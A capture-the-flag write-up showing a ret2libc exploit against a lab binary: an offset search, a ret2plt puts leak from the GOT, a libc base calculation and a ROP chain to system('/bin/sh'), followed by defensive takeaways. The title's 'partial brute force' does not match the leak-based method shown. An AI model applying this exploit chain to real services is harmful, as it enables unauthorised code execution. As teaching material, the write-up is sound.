ret2libc with no leak: beating ASLR by partial brute force
A classic buffer overflow, NX enabled, PIE disabled, and no directly exploitable system or /bin/sh. We build the leak ourselves.
The binary is a minimal network service that reads a size, then a buffer, with no bound. Classic. checksec sets the scene:
$ checksec ./target Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
No canary: the overflow is direct. NX enabled: no shellcode on the stack, we have to reuse existing code. PIE disabled: the binary's addresses are fixed, but libc's stay randomized by ASLR. Our plan: leak a libc address, compute its base, then replay with a system("/bin/sh").
Step 1 — measure the offset
We generate a cyclic pattern to find the distance to the saved return address:
>>> from pwn import * >>> cyclic_find(0x6161616b) # value read in RSP at the crash 40
Forty bytes before we overwrite RIP. We have our primitive.
Step 2 — leak libc (ret2plt)
We call puts@plt with the GOT entry of puts itself as the argument. The result: the service prints the runtime address of puts in libc. A pop rdi ; ret gadget loads the first argument (System V convention).
>>> pop_rdi = 0x4012a3 # ropgadget: pop rdi ; ret >>> payload = b"A" * 40 >>> payload += p64(pop_rdi) + p64(elf.got["puts"]) >>> payload += p64(elf.plt["puts"]) >>> payload += p64(elf.symbols["main"]) # return to replay
main, the program exits after the leak and we lose the session. By looping back, we keep the same mapped image—so the same libc base—for the second payload.
Step 3 — compute the base and drop the shell
We grab the leaked address, subtract the known offset of puts in our libc, and get the base. The rest is arithmetic:
>>> leak = u64(io.recvline().strip().ljust(8, b"\x00")) >>> libc.address = leak - libc.symbols["puts"] >>> log.success(f"libc base = {hex(libc.address)}") >>> rop = p64(pop_rdi) + p64(next(libc.search(b"/bin/sh"))) >>> rop += p64(libc.address + 0x0009a8b2) # ret align (Ubuntu) >>> rop += p64(libc.symbols["system"])
system runs SSE instructions that require a 16-byte aligned stack. If it crashes inside do_system, add a bare ret gadget before the call to realign. This is the bug that costs beginners the most time.
The flag
Second pass, the stack is aligned, system("/bin/sh") fires:
flag{n0_l34k_pr0v1d3d_s0_i_m4d3_my_0wn}
Takeaways
- A GOT under Partial RELRO stays readable: that alone is enough to turn a simple read into an address leak.
- ASLR protects nothing if you can disclose one address from a module: everything else is recomputed.
- On the defensive side: Full RELRO, PIE, and above all read bounds. The root bug is the missing size check.
The full script is in my writeups repo. Reproduce it in a throwaway VM, never against a system you don't own.